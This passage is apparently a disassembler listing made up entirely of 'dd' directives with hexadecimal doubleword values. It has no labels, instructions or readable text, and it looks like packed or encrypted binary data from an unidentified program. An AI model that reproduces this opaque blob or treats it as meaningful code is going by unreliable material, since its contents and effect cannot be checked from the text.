		dd 9FB23829h, 0FC10AC49h, 16B576CAh, 0B1CB2793h, 0E309F35Eh
		dd 0D3B66327h, 6A443DBEh, 87B0EA9Fh, 6DD044C2h,	0D98E310Ah
		dd 11B105BEh, 530C8240h, 81170093h, 0AE3578E7h,	0E8B0475Eh
		dd 0E23112E5h, 31E17D9Bh, 0DFC72EA2h, 6055010Ah, 61649DCh
		dd 15BFB81Dh, 1003DA0Ch, 0FDB440CAh, 0ED089262h, 768C0249h
		dd 733BC303h, 3CBE4028h, 1B19DE64h, 87DEA06h, 3310E420h
		dd 2520CA04h, 0A82008CEh, 5DD82075h, 206F6020h,	0C4318BB2h
		dd 0E1B43867h, 880A1401h, 8984F10h, 203F5EA2h, 0D4103366h
		dd 4ECF008h, 2106F27Ah,	4F40E18Ah, 862621Ah, 7602E5ABh
		dd 0F07B02DCh, 317F1303h, 5E813930h, 76089530h,	5CC71080h
		dd 10823110h, 0B418993Eh, 6C8A1061h, 3C3008C4h,	20C3C406h
		dd 8E8A531h, 188C2432h,	0F6085633h, 0D318C062h,	35050253h
		dd 6D27902h, 6E3111D1h,	1451088Ch, 90063D12h, 0EE893781h
		dd 189EE608h, 19817CF0h, 0B3AEB851h, 2B09B01h, 86F4A3C4h
		dd 8E29206Bh, 7AE9BC66h, 883F3141h, 3A3A928h, 22416C81h
		dd 87406818h, 103F65D4h, 0C6C04670h, 0FA201045h, 0EE9208Ah
		dd 20E25320h, 2931931Bh, 25990880h, 9CB94E01h, 873CE20h
		dd 0E2491B57h, 0AAEB0874h, 8D281818h, 81B54C08h, 332043FCh
		dd 0DED30819h, 7B010789h, 984901E7h, 9F728D01h,	32E07508h
		dd 0FF20A67Fh, 62130848h
		dd 94AC18C4h, 6FB1A04h,	31089742h, 2F206503h, 395B01EDh
		dd 1F7A108Ch, 0D7641108h, 0EA1CE351h, 6F3A20E0h, 18C986EEh
		dd 2D5422F9h, 0EBDA0275h, 0DC4CF305h, 0A85F4173h, 0C492138Ch
		dd 6DB4328h, 40F12D6Ch,	8949CA79h, 201120C4h, 5D20209Eh
		dd 99036F7Ch, 0C21089CCh, 40F6D540h, 6A6EC802h,	841290D1h
		dd 0F490516Eh, 0F559BC31h, 1C1092C9h, 0B018884Ah, 6D89A199h
		dd 63C0D188h, 8BC4608h,	4208B262h, 570409A3h, 6608024h
		dd 26104E18h, 991488C8h, 52811866h, 106A2B80h, 2018E78Ch
		dd 40F89040h, 0C56601ECh, 63992208h, 4C641123h,	8046302Ah
		dd 37177A20h, 74087BFAh, 33C0458h, 285B4F06h, 0F3B49754h
		dd 3608AE62h, 9C6000CAh, 0A499E8FCh, 0CF19402Dh, 8B1EC746h
		dd 0E7468EC7h, 3B001043h, 2752C47h, 0C68913EBh,	3DA7B90Eh
		dd 10005F4h, 49408F44h,	1775C90Bh, 1D748BF7h, 3DE0413h
		dd 0DA4AEF0h, 0CC07833h, 304FB10Fh, 405AC2Ch, 92B5516Ch
		dd 74E9CF90h, 0DBBF8021h, 257CABEAh, 200464B5h,	619817D6h
		dd 8742C303h, 0E9F82144h, 6A8E3BA0h, 17E4FC88h,	2D9F46Dh
		dd 0EBD7D98Bh, 0B377772Fh, 0A15E1BFDh, 0FB84D4ADh, 0BE563068h
		dd 0B74D0208h, 0C327E918h, 88415456h, 62EC50CFh, 293B9D3Eh
		dd 0AD2EC0D9h, 1290B16h, 7239E0B8h, 277EF660h, 0CDB0151h
		dd 8273FC26h, 403259D8h, 0B4505266h, 0ACB86D73h, 12728820h
		dd 0ED8435E9h, 0D012DC27h, 0A41ACCBAh, 3FA62070h, 0BCBE8C3h
		dd 0B99C02E0h, 195E7CDBh, 0BC20D17Eh, 0A4229517h, 0CF691606h
		dd 80CB0C37h, 7C06E0EBh, 82E9C1C7h, 7BDFB4Ch, 52727529h
		dd 2DD561BEh, 0F8063BE6h, 52490ACh, 4D44E305h, 7D3AEC4Bh
		dd 0C6496C2Dh, 270E9658h, 0DAE2B3DCh, 0D5AE0EFEh, 5F70AAB7h
		dd 97F6C3B4h, 813F5FC1h, 1F83CDEDh, 0EDD8389Dh,	0FD9F17AFh
		dd 583DE839h, 71CA05D9h, 0C5C256B2h, 5BCF8050h,	97FEF580h
		dd 4B042403h, 0D32CC8A9h, 0E4CD9AB3h, 745F0624h, 8EC664E8h
		dd 0C704756Bh, 638A7EB2h, 198ED4EEh, 0EC741C08h, 5B4A0C20h
		dd 0F1A54929h, 9BA4FFA3h, 54514B80h, 39FE594Bh,	12D2ACBh
		dd 7CF442Eh, 447C1452h,	0E65ED1BDh, 65A7A820h, 10A76CBh
		dd 0F1E853F6h, 3FF5297Ch, 33971D01h, 7A824B69h,	13E83531h
		dd 0CA2A6855h, 4059BFDEh, 0C062399Fh, 0A4B850C8h, 25E4806Ah
		dd 0AC1C7F00h, 47BB5316h, 0B5EC2595h, 2D12D254h, 1CAE4BAAh
		dd 973834DDh, 52C26A76h, 9A187FDBh, 7F8B317Ah, 7EB60220h
		dd 12BCCE9h, 0E4C74849h, 0E4F66F02h, 312C92EDh,	1190CDEEh
		dd 3C7B19E2h, 32B38655h, 44E3A042h, 34743D2Eh, 6E4241FAh
		dd 4B7178D8h, 1092A3DEh, 8107065Ch, 244C55C5h, 15418069h
		dd 5D02DD36h, 49A9E95Eh, 0BCC6401h, 3E2F6AFDh, 0DBDBA361h
		dd 2BC24103h, 0EB75BC4Fh, 82AC7EAh, 0C1E4224h, 79B057E7h
		dd 3DC18C71h, 887364C6h, 6BCF807Ah, 87BDDC7Ch, 0DB0C8BD7h
		dd 0B211E14h, 0F7E0CE48h, 1EFF4A10h, 445193F6h,	81AD66A3h
		dd 0AD92CE93h, 755E9210h, 4ED91C0Bh, 81945725h,	76F2C920h
		dd 9F1245Ch, 38CF6F15h,	8556105Ah, 97DD66C9h, 0B120A5F0h
		dd 2463F81Dh, 4C603Fh, 404E49C7h, 8328E93Ah, 0EC958612h
		dd 7C6A273Fh, 0F020C769h, 11FDFF7h, 878E52FBh, 88AFD211h
		dd 7F3D2D23h, 1444BE5Eh, 4F0705C8h, 6CA63CF9h, 72CA819Fh
		dd 0EC2E282Ch, 47B304CBh, 0F3822529h, 5E0785EBh, 3FB18BEBh
		dd 7D1392E6h, 2A1CB400h, 4A31AB19h, 0C32FA1CBh,	2958E8C8h
		dd 8698D05Fh, 0FFFFA206h, 6755323Ah, 0FF5C92DBh, 66996020h
		dd 4A1F7648h, 2F5DB05Ah, 0E60DD709h, 48BCD631h,	0B53B0A92h
		dd 0C24342DDh, 0E8A17709h, 808A32CFh, 0D219C340h, 60890E2Ah
		dd 0BCE1F4D9h, 744B8F1Ch, 0A0A442AAh, 0CE413370h, 0CBA0EA57h
		dd 0C01282E6h, 0EE1F1376h, 26D730F5h, 0EAD46DA1h, 0BA28C04Fh
		dd 68AC4E35h, 9BD50BFh,	71A1355h, 5B66A4F7h, 0C0BA294h
		dd 2FDB5A5Ah, 3FDEED79h, 985BDE50h, 11B20B52h, 17D87AAFh
		dd 50FE914h, 58880117h,	0DD010EC8h, 0FE506097h,	0EB78E829h
		dd 0AA94B784h, 60BF81E4h, 0C7C5E175h, 737BC30Ch, 94D25924h
		dd 0C40280B4h, 80B56E0Dh, 32F6CF8Fh, 0AD304E97h, 99058ACh
		dd 142126h, 6BE3E174h, 0DE0E9522h, 398C66Ah, 328D0AC1h
		dd 2E0380B7h, 0BD937F55h, 0B363A08Ch, 4F88A0FDh, 5AF9BD51h
		dd 0AC3DF9C9h, 0A77A2C56h, 5319DBF6h, 580319E2h, 175DAE06h
		dd 0C9C7D10h, 374D274Eh, 7B1944B4h, 6C60AFCh, 0EC04F7FCh
		dd 0C4125A10h, 0B82283C2h, 3F9048h, 0D6F629B6h,	0E2C0C680h
		dd 0E9030CE6h, 0B96A9D94h, 55C3680Fh, 7DF746A5h, 3580415h
		dd 0EA09672Dh, 6C285241h, 0B7401042h, 98975D85h, 4F509596h
		dd 565A0880h, 91049BB8h, 5B69AA1Fh, 3198C0ABh, 60486ACh
		dd 30E9DE89h, 8AC1D7FEh, 25A38884h, 63A7DE2Dh, 0C0501981h
		dd 711209FCh, 6500260Ch, 61DA0A18h, 501E25E9h, 6A623AD4h
		dd 0F42D2F9h, 50A57C5Ch, 0BB79DD64h, 84EDA9DDh,	0BEF4842Eh
		dd 0E98321A6h, 161D7AF6h, 0BBCBC209h, 0C0EE94B5h, 0C978056Ch
		dd 0F7510158h, 850804D5h, 8838A5DDh, 4EC3478Ah,	81744BC4h
		dd 25F45AC4h, 10C0621Eh, 0AC4EFA1Ah, 35FB31B3h,	0D93A02C2h
		dd 0B49EFC13h, 65E912D7h, 0EFAA089Fh, 0C979DC2Dh, 41426C2Bh
		dd 0AC4D1555h, 6B406771h, 7580F551h, 0E9416178h, 0D3335110h
		dd 0C08BB72Eh, 9E685753h, 1A452407h, 39041BBAh,	9471BDB0h
		dd 6BF43D7Bh, 1B58E388h, 8E76866h, 2AB2790Eh, 3A1AADE9h
		dd 2AD9DF7Ch, 0A1F97DADh, 896AF971h, 8BAD607Fh,	2DC440h
		dd 74800CBFh, 915EC0Dh,	68512705h, 0F3B36F83h, 0D04E8712h
		dd 5B29C1EFh, 51EE1B1Eh, 8BFC5917h, 6171FBB0h, 0C0E93F15h
		dd 4AC4AF0h, 1F1C772Ch,	3291082Dh, 7215C13h, 0EB05EC50h
		dd 94A9D713h, 1FEAC280h, 0E914146Eh, 25812AD0h,	22325D31h
		dd 0E93418F5h, 0EDB64A16h, 5BEBB305h, 30EEFCB5h, 81020607h
		dd 140409F3h, 895DA8E0h, 55897570h, 12576028h, 0EE881C5Ah
		dd 50624070h, 213E2B1Fh, 407DAFD3h, 249141AEh, 1264D8F7h
		dd 0C155313Bh, 3D0560EAh, 9CA0269h, 5C838598h, 1A02CEEAh
		dd 54BEC520h, 25E90457h, 174FAB8h, 2E58F580h, 49E9E270h
		dd 0F6038135h, 0FFC280DAh, 0E7296210h, 0F5285A0Fh, 0EA60ED84h
		dd 69327B2h, 9C08DACAh,	9D325876h, 0C32118DFh, 0EC80260Ch
		dd 225C79F0h, 0E3BAC407h, 830BEBE8h, 0A07D01EAh, 41670EF7h
		dd 8E564866h, 0B40D2704h, 0E9B3AE53h, 0A0CDC70Bh, 7D698CD7h
		dd 31114062h, 0D8C6CBFBh, 7814A720h, 83A92655h,	0F7F68B72h
		dd 6F4791DCh, 31C4D4E1h, 0B02F5261h, 999A4E83h,	0EF18013h
		dd 2728C408h, 7C624CF4h, 2F854C0Bh, 0DA7E3FCDh,	0E2CF169h
		dd 384BCF88h, 0D00C2B5Bh, 0CBF308Eh, 75A3166h, 540BBA6h
		dd 5F57C433h, 9B900D5h,	984B6349h, 3B2C740Dh, 0F10211BCh
		dd 23DE13E5h, 6EED1861h, 7F345BCAh, 46CCBEEFh, 836984C5h
		dd 0B7675F0Ch, 0A9B86F96h, 2529BD2Ah, 0FC0935A8h, 452AE6F0h
		dd 0F82F85A0h, 2EF6E55Fh, 4334054Ah, 0EFE4286Eh, 28840CA2h
		dd 68ADF05Bh, 0D34B9B2Fh, 0A1A965AEh, 2FB62F2Dh, 0D02D6912h
		dd 0EA48CFBBh, 0EE9B56C5h, 24418ABFh, 0E00B6BBBh, 0E9C9A2BFh
		dd 9EE559D5h, 5704954h,	5887E048h, 2907901Dh, 820DEACh
		dd 0BC80E917h, 10F85756h
		dd 16CA6679h, 0FAB78C37h, 54640820h, 52023BFBh,	8227906Bh
		dd 0BBB7FF9h, 4C2D5CDBh, 0E9F80C38h, 250E2D43h,	8E4FB40Fh
		dd 23A64C4Bh, 0E616A268h, 212D05D2h, 0AE7BAB66h, 717F384h
		dd 683B2CEBh, 2C2F3A20h, 60C890E9h, 18A13D9Dh, 3401F6ECh
		dd 0E9473098h, 0FF38E067h, 512BF91h, 8548F602h,	87173A47h
		dd 0A99AA8F9h, 427D861h, 0EC5FECBCh, 44A8F5BEh,	1303D82h
		dd 0F7819B64h, 0DB4E4F8h, 96E58102h, 0C068A829h, 2FE3CFDDh
		dd 1A583CA2h, 451B2D1Eh, 0F00A4BDEh, 0B260705h,	24A85A08h
		dd 0F15017CCh, 77E07E06h, 97050407h, 0EBFE8710h, 76E949C0h
		dd 0B77CB21Eh, 0FB347EC8h, 1D41895h, 4B3E9A58h,	3BDFCA56h
		dd 0F9CD825Eh, 5E265A47h, 9CAD8CACh, 1C09F3F7h,	1016E248h
		dd 0BD0B434Fh, 6B3A7618h, 5D7E3476h, 0E320AE2Ah, 1C30E00Fh
		dd 86364413h, 71E78003h, 0C257C799h, 6C5E2541h,	0CFD55237h
		dd 25F9E953h, 81D8BFC2h, 0F41F17B7h, 0B0110922h, 0C436E2B1h
		dd 0C0971050h, 97D829DDh, 80BE7971h, 4A407568h,	1E355826h
		dd 7F215A3Bh, 0FD5FC7BCh, 2908D320h, 8D232D14h,	0DB2774D3h
		dd 0BC345159h, 5D057615h, 774E2E78h, 28D42FF6h,	44D76E42h
		dd 653502A6h, 0FB295372h, 21CBF361h, 0B0533h, 8A6F3F33h
		dd 829F597Fh, 0DD9B3CFFh, 152E6E07h, 0C9D90014h, 46CA4C93h
		dd 0F7092C9Ch, 0A8C881D1h, 30ED13h, 0D44E4EE3h,	0F6F28308h
		dd 14E5A53Fh, 0DFE1DE20h, 0AE568ECBh, 7CC59F34h, 0DABA0147h
		dd 775C27D3h, 285E881Ah, 17DC4795h, 2535BDDCh, 60D12FFAh
		dd 79C2B95Ah, 28265878h, 573C4106h, 0B50FD818h,	58EC4038h
		dd 4B0CCD1Ah, 0D7F7A1EFh, 0F28DABB5h, 0E926982Fh, 0B5B69A20h
		dd 0D5C1BB81h, 700CD95Dh, 318025AFh, 8576974Ch,	2F204770h
		dd 3205DBE9h, 0E997AF91h, 0D264D3A0h, 9354C133h, 6D3CDF05h
		dd 173A100Bh, 5AB7530Ch, 0B2023406h, 5BFA30FFh,	7A070B28h
		dd 0A6EA34C9h, 0B3530F11h, 6DC3E021h, 0E05BDD88h, 38E917EAh
		dd 507D4062h, 0BE18F0B8h, 0DD280D7Ch, 5695D748h, 4FA4CF32h
		dd 0D9F70380h, 4EB0C341h, 172CEA28h, 0C7AA5D5Dh, 0DA18E125h
		dd 88D43EEh, 0D697F397h, 0E9B0DDECh, 3DFF0A09h,	0CBE85BBDh
		dd 242C55E1h, 720053F3h, 80BD4027h, 9DD8D2B8h, 0C24D3BC0h
		dd 5985D3BCh, 0EEA8DA7Fh, 0BDFD004Ah, 3546799Eh, 536C49Fh
		dd 47C26F30h, 4E07FE4Dh, 174F7B5h, 52936802h, 17A63CD1h
		dd 5E02AC48h, 0C23A350Eh, 0F69416AEh, 3E43BFCBh, 0E92C0FE0h
		dd 1053F02Dh, 975F5AE3h, 0A482C442h, 1E0B0A5Dh,	4E48901Dh
		dd 8E20FB3Dh, 0CC0F4BE9h, 5AEC5F32h, 0A16B9B00h, 272CFF2Dh
		dd 25E91750h, 0DA4C4517h, 0AD1E2240h, 0C302A372h, 0EC216115h
		dd 7FE15D09h, 7BBB60F7h, 2DE77C18h, 340B3BE8h, 0C11A526Ah
		dd 4048062Dh, 7A350706h, 5F27E512h, 41EB2DC4h, 0DD762A62h
		dd 2976E65Eh, 0C66828C2h, 691AF0C3h, 0A678E559h, 7500234Fh
		dd 4549E12Dh, 69B69164h, 9CE9D6B0h, 7F169F69h, 8BB50FECh
		dd 642EBA4Eh, 11641275h, 859FE801h, 72966EDEh, 29599512h
		dd 0D0A531E8h, 545D31Dh, 29276EFh, 77478A13h, 38C13040h
		dd 48A83A58h, 0F95F0146h, 0A2E905C2h, 0C1037679h, 52BBFBCBh
		dd 9D7E6DAh, 0C2145D91h, 0A9C1C227h, 0D2FC63B3h, 90ABF07Dh
		dd 1E7724A4h, 492B9FEDh, 4C55FC52h, 5AD4F685h, 86BBA92Ah
		dd 9FD13735h, 0EA4891D8h, 673B10E4h, 5037B180h,	0C01A58B4h
		dd 0FD0607ECh, 2F7BB3E1h, 5BD934F4h, 3B5AC98Ah,	881399B9h
		dd 59BBE3E5h, 0B968989Fh, 0C8E91A1Bh, 0E85DBA31h, 80F18299h
		dd 770BE781h, 0F5172A1Ch, 0F94A9981h, 291C7014h, 0B4C0CEB5h
		dd 80FD6956h, 55022275h, 0F7811D2Bh, 4418CFBh, 1605330Ch
		dd 0EAE963C3h, 5954DF44h, 805DD583h, 7C8307E4h,	0A87BBFC5h
		dd 529DCBFh, 576C07DEh,	0C8F4D3AEh, 1A0AFA8h, 95A478B5h
		dd 52DB5Eh, 0F42534F2h,	0F101243Ah, 0EA08208Fh,	86206FB4h
		dd 2909F260h, 0CEC07FA2h, 9E2F6B57h, 4F9225E9h,	4D13A473h
		dd 405DAE82h, 270E8437h, 0D1781946h, 0CDD463B7h, 0C12B19F1h
		dd 0FE37FEE3h, 2FAC6EDFh, 7DE25AD5h, 54E7FA54h,	399005C4h
		dd 0B5454168h, 2269C759h, 0F5C75C9Fh, 8830264h,	0B8EED824h
		dd 2F0FBC3h, 36FABA10h,	487F2FE2h, 4C6C46A0h, 0EA151C80h
		dd 0B996BC02h, 0B0C20345h, 0D5AFFE5Dh, 54C52092h, 0F576B50Bh
		dd 85FC4517h, 4F63BC2Ah, 5A6F19E0h, 0CC76C988h,	0AF3C2DC8h
		dd 5110130h, 6DAA1315h,	0B28AB83Ah, 39F77897h, 0E50AEDD1h
		dd 0A8AC7868h, 2A2741BFh, 0C8B86D0Bh, 12E8C312h, 0C4066B1Eh
		dd 21CB01A0h, 249303E9h, 38D7BEE1h, 0A12A44FEh,	2ECDEADAh
		dd 0DAFA8205h, 2D45588Ch, 88DBD912h, 5700EFEAh,	0E8D0AF68h
		dd 0A85F5B6Eh, 0F2210A1Fh, 8400B25Eh, 6851F63Bh, 200E5476h
		dd 75BC1FB8h, 0AE002F34h, 3110D832h, 587D699Dh,	0CB46520h
		dd 29789901h, 0E248C150h, 42821043h, 3DCFB650h,	0F9123BFCh
		dd 0B11631F2h, 3C1F30E6h, 22E13026h, 0D5251124h, 3301DB87h
		dd 0F1B00FC9h, 0C83988CFh, 474E359h, 0F7C392FDh, 51A2B9E3h
		dd 2A1775E3h, 7516DBEBh, 0E72FD7E1h, 7E127B32h,	8FFB011Ah
		dd 0E9510740h, 0D70927BCh, 0D92DC867h, 5102C296h, 9762C154h
		dd 0CFC65552h, 13EEA12h, 0EEB56ABCh, 8B6414D9h,	22692FE9h
		dd 1B90CDD2h, 0D45C4B71h, 2E8E12D2h, 875E00D2h,	22B61EEBh
		dd 0F20100B5h, 3D5DEA81h, 68FA3613h, 3BF32859h,	0D5314A84h
		dd 0AE04C315h, 0C050E086h, 816BA0C8h, 9E2E20EFh, 0FA03C938h
		dd 0E4CF4E9h, 1404E8B1h, 0E1511E49h, 2C38089h, 0B05EF780h
		dd 50FE30F0h, 0E623E7C1h, 60767E9h, 7B125294h, 0F2539E5Eh
		dd 534D830h, 60167F05h,	5F71AE06h, 5000B7FCh, 0FE398DB0h
		dd 8C030C8h, 0B528652Ch, 0A2820DBh, 0BAE7B198h,	0C736E6A4h
		dd 8E60E533h, 0B5B86754h, 0B72B72C5h, 98856C5Dh, 28B22BA6h
		dd 6F050257h, 0D061B85Bh, 0B4056CD8h, 8829100Bh, 4826FEE4h
		dd 0FD3E4B73h, 0B0ED4CD3h, 82010D99h, 44968370h, 0EFC40269h
		dd 68730913h, 0A09D559Fh, 0CE0FEEAh, 9DECEC9Dh,	2D42B4F1h
		dd 0A62D4BFFh, 0BC5F5B86h, 0CF327DFFh, 60B81A1Ah, 2851A86Fh
		dd 4B514431h, 0C11EC0AAh, 810305E1h, 0AD53E2C9h, 4B900445h
		dd 0EE0B3B36h, 15FB93E0h, 0EB524774h, 0B0B15E2Fh, 0BA1045F6h
		dd 0F7428ACCh, 0E9D55C03h, 17CB401Bh, 0C1BE5D40h, 0F703D0D0h
		dd 0E36860D6h, 564E65BAh, 450A39BBh, 5A9CBC7Ah,	167299ACh
		dd 1E15FFDh, 8307FF5h, 0B0CDF07Dh, 73530916h, 2C972401h
		dd 0F5F06286h, 0DF151335h, 0E017AE12h, 170A07C6h, 0E20E0A18h
		dd 0CABA9242h, 28E93DBDh, 801CD136h, 0F22748C5h, 0F8F45F93h
		dd 0E457C456h, 50C39BAEh, 0CF44F263h, 0AC585EC7h, 80207BD6h
		dd 25B907A1h, 0A2609829h, 29E80553h, 240659EEh,	0F7560C15h
		dd 0DC5E4C6Ch, 0D7C2E17Ah, 0BA3242CDh, 752CCAA5h, 0C15DCA98h
		dd 0BB03E528h, 0F95B9D0Fh, 33E62F2Fh, 0D18393BAh, 29D58DC8h
		dd 0FA37F54Eh, 0B80596EFh, 81C078B1h, 4E104F41h, 0A10AB3Bh
		dd 141C6808h, 933F5B24h, 0E1A49FD0h, 95751E5Eh,	9831CC69h
		dd 0E6F84E16h, 781F240Ah, 72CF542h, 0E9270401h,	0E034D2FDh
		dd 656245B3h, 104B6270h, 0F71B4A72h, 83D3E5D2h,	0BD0CF872h
		dd 941F2B82h, 1DA713F5h, 0A4C61DAAh, 97529D57h,	0BE35801Ah
		dd 0A43D3688h, 0AF561702h
		dd 609139AEh, 6605F0D7h, 49417A97h, 4FA4FC2h, 37C9FF58h
		dd 14F74770h, 9077F61Eh, 0D4D83771h, 2AF4F928h,	1AE42D9Fh
		dd 9C2F5C79h, 4C0E7AAAh, 0DA2979C9h, 0CB082384h, 8D120259h
		dd 140883Fh, 8F74E901h,	1CD53EA5h, 0EBAF200Eh, 1EED6826h
		dd 0F4BE5DA5h, 18B25BBDh, 630543D5h, 4BC81C01h,	0E4748C2Dh
		dd 0F9E86F20h, 11CA0747h, 0F3685D04h, 34E984E0h, 0BF0ABE8Dh
		dd 0C95ABEC3h, 0F85144BAh, 0F53C20D0h, 32C08ADFh, 185184D5h
		dd 3D6DC24Eh, 99FD17EAh, 463ED746h, 0A2FC0EFFh,	82DFBF28h
		dd 0DB04675Fh, 0B452CD68h, 774FF379h, 74A76BFCh, 82860D47h
		dd 5F55A088h, 23A05B16h, 0DF455802h, 1916FB3Fh,	3412977h
		dd 0D8CD76C5h, 62E3B035h, 6AD71600h, 2EB739AEh,	3C6EA9A1h
		dd 1427E9E6h, 0B2844427h, 9753E42h, 4898733Fh, 5CB351Bh
		dd 0DA21712h, 825ABC0h,	892F1795h, 0C9BD64F9h, 2739D00Eh
		dd 3972C92Ch, 5841070Fh, 0F2E8C5B5h, 0D0224BA8h, 0EDC14DFAh
		dd 7E6F0648h, 8226C9BBh, 99FE1EAFh, 0EC5292A4h,	0C6E9C277h
		dd 0E22D0038h, 5B4AFC0Dh, 8A28D81h, 0BEE67DD6h,	97DCD12Ah
		dd 4904F0B7h, 302C0FAAh, 66D3BE2h, 0CCB06B0Dh, 0A6419Dh
		dd 7A426382h, 0BDDC7354h, 7B29940h, 66D53038h, 7AFE495Ah
		dd 162E985h, 0B8EA0190h, 3A0EBD28h, 8B45A9B3h, 784EE205h
		dd 0EAF42D07h, 0E27F9709h, 53A354E0h, 0EEF93A5Eh, 72950992h
		dd 25C41C7Dh, 22EE478Bh, 984E50F6h, 45B2DE90h, 7624C77h
		dd 0AB3F4305h, 21EFD7Eh, 4A805860h, 734D6041h, 0AEA910F9h
		dd 6CDB3A29h, 261238E0h, 9DF0565Dh, 2E42CDBAh, 80F4044h
		dd 40627268h, 1A34691h,	6052D828h, 84409770h, 1682855h
		dd 180D205Ch, 4FC45F4Bh, 0CE4155B7h, 5FA1E9D2h,	0F910EB32h
		dd 308C4580h, 669F1FB7h, 17590234h, 0EE29491Eh,	0A7873875h
		dd 5E201242h, 0F501C343h, 0D9E911E8h, 7CB74A5Fh, 0E2405324h
		dd 0BD004E88h, 58C70C84h, 8E0A1D20h, 13854460h,	4009FFD5h
		dd 314F5D01h, 4DF3318Eh, 7B6508DEh, 9D01D330h, 0B55CCA54h
		dd 2C5C6DD8h, 18E81237h, 8B6A6FC9h, 507E0780h, 0CBC05CB0h
		dd 0B9DB4CE9h, 0A5E226A9h, 0DC8C86FCh, 0F0561ACDh, 7D5DE6CEh
		dd 5B54975Eh, 0DD28E985h, 7AF44EAh, 0F7D0EA4Ah,	2D162BCAh
		dd 9474123Bh, 3FFAE404h, 0C41443F1h, 56EDA8C2h,	32D727FCh
		dd 0A275444h, 69ECDC81h, 0AE3DA974h, 68898DF0h,	5DCCB24Ah
		dd 769FD34Eh, 58FC52A5h, 0A048600Bh, 0B012DAA3h, 0F172BD34h
		dd 3261802h, 4B71E90Fh,	0FD61FA22h, 42DC6EA2h, 990E780Ah
		dd 0C2D2C2Eh, 31E1089h,	23B00B64h, 0A6C98A51h, 2BFA08A0h
		dd 0F6ECF24Fh, 204B099Eh, 35241059h, 8F7E3C02h,	0F104028h
		dd 6532250Ah, 0C512B25Eh, 3A2B9DEBh, 32FC7713h,	0E878E9C4h
		dd 0DB8058Dh, 4381B776h, 3D966D42h, 0FD1E95EBh,	0BB6868Fh
		dd 2AF9C8Ah, 267F5EA4h,	807700Dh, 42C171B9h, 9A56C3E9h
		dd 8828B100h, 7CB459CEh, 90702CCDh, 0A8FAA77Eh,	84ADBC1Ch
		dd 7618187Fh, 7F2C393h,	0FF6FE134h, 9FCED233h, 0CA7BCE5Eh
		dd 0CB96D7EBh, 211FE909h, 976C4601h, 7F42AD0Bh,	2730E775h
		dd 3D421C71h, 236606E7h, 180A2AE9h, 68840902h, 7EF956B1h
		dd 1379BC4Eh, 1DEA0901h, 1CF75950h, 609F71C6h, 1361350Fh
		dd 7968EE0Ah, 0D9CE01F8h, 0F853101Bh, 8175ABBh,	0BEFD31E9h
		dd 35DEF12h, 55FF2D20h,	283E819Fh, 3A90E842h, 0E92C1F0Bh
		dd 0BBF140E1h, 8564385Dh, 3988BF02h, 14E16B26h,	0D35507A9h
		dd 0EEF8D0FFh, 613719B9h, 0DDD38416h, 99ABAC28h, 4FC27E0Fh
		dd 0E5D06Bh, 0B860ACBEh, 0D3CE816Eh, 4E060B17h,	4035108h
		dd 0EA5EF231h, 5F016A85h, 3D9D128Dh, 0AFA4133Fh, 400B4150h
		dd 4205EBD9h, 26E94058h, 250D3A0h, 3AA66851h, 0B66627C7h
		dd 49C07E99h, 0F6A5B850h, 0D87150F6h, 0B79BBABFh, 0E90BD1C7h
		dd 77F2C28Ah, 0D0719362h, 885F0849h, 0EFA34027h, 0E7810007h
		dd 39C76D80h, 3324E957h, 9482A8DFh, 7F2CD20Ch, 0FA9A0C43h
		dd 0B028EC2h, 0CE55EA29h, 74892EFCh, 245EAD7Eh,	6F680104h
		dd 2482A0C5h, 8E00D793h, 2E254A2Dh, 3520224Bh, 2557F068h
		dd 4E221E7Ch, 35266ECh,	9520E120h, 0AB008972h, 8123755Ch
		dd 25A359C2h, 74C2DC8Ah, 2F5F88B0h, 56823799h, 68178768h
		dd 80371CA4h, 0B959E954h, 5BDF4C58h, 1BF588Ch, 56270417h
		dd 0D1E9F909h, 5BAC94ECh, 0DD6628AFh, 47844D60h, 0B7690D0Bh
		dd 0D4F91184h, 7EC8FDD2h, 74031412h, 0E9DE88FBh, 5CDA632Dh
		dd 5985D088h, 6834E691h, 0FA136EB2h, 7120AFFCh,	0B334C668h
		dd 2E7439FDh, 8394772h,	5717F0E8h, 0FD4AF6CAh, 0AB1185E8h
		dd 2636FB41h, 1A603B7Dh, 0EF28801Ah, 5D70F8EEh,	273D9F93h
		dd 53BE008h, 0E2AF9C02h, 0C9F22898h, 0AD7BA438h, 78230942h
		dd 0D50A827Bh, 0CB27836Ch, 0CB9ED6A8h, 965A43F6h, 4192B098h
		dd 0A2410513h, 0B8B3827Ah, 1FFFC1FEh, 0BD0B006Fh, 30133819h
		dd 0D24EF3F4h, 40B1AF90h, 5A747BD4h, 3A9DE5DEh,	644BD7E0h
		dd 0AFEE877Ah, 4D27FC80h, 0BEC9832h, 0F9CE1A76h, 0E9E2FFDCh
		dd 4837C875h, 456A092Dh, 26585135h, 0BCEF7AB0h,	5DD10179h
		dd 415A3024h, 9503B4F4h, 2ADE0312h, 0B780CF92h,	2E7FD4BEh
		dd 17A0121Dh, 4A41AB5Eh, 59C60A82h, 0E07D0C83h,	922DE607h
		dd 5CCFFC5Bh, 8E685C0Bh, 579E9A4Dh, 0E762360h, 0DBBE78D2h
		dd 3A924E72h, 0E4A12E01h, 6029DC53h, 0F197A490h, 1457EB2Fh
		dd 18D027D6h, 3B527019h, 221FA725h, 0CA91712Fh,	0D21C4225h
		dd 2D7945DFh, 9F071670h, 0E94DB743h, 0BA7BC07Bh, 2D5F1E62h
		dd 505E8946h, 0E700B3A9h, 40964D6Bh, 8200EB9h, 0D2845E4Fh
		dd 50063F3h, 1E446A67h,	0E34E8FE9h, 2D8029A2h, 7C36103Fh
		dd 0E2B60090h, 4BC9E978h, 0B55C4222h, 1640A30Bh, 3ABDEBB7h
		dd 1C95058Bh, 7C2C8AAEh, 18B9FC33h, 6025B1ACh, 0D85F0C93h
		dd 0EC4BE752h, 0DC50E8F2h, 2A236550h, 497D8346h, 0A968951Dh
		dd 0B760A664h, 19EFC09Fh, 0AC7FE08h, 0CEE7E103h, 4C23B61h
		dd 45786A90h, 0A04F4BACh, 475AEA34h, 0CC945D05h, 85F5D020h
		dd 0B3B0929h, 0EFED5F7h, 6D3681Eh, 0E956C730h, 17B9610h
		dd 236692BDh, 0C02C7129h, 1577C309h, 45E5EE78h,	48C2FB08h
		dd 0A734DC5Eh, 4B6DE748h, 0BEEC3BE1h, 754268B1h, 462A60D5h
		dd 38B6BA80h, 81812C11h, 0B96B7EE2h, 87E83B1Fh,	9DD30312h
		dd 13343E54h, 0F99EC4BAh, 0D482A2E5h, 557C25CEh, 78B37C5Ah
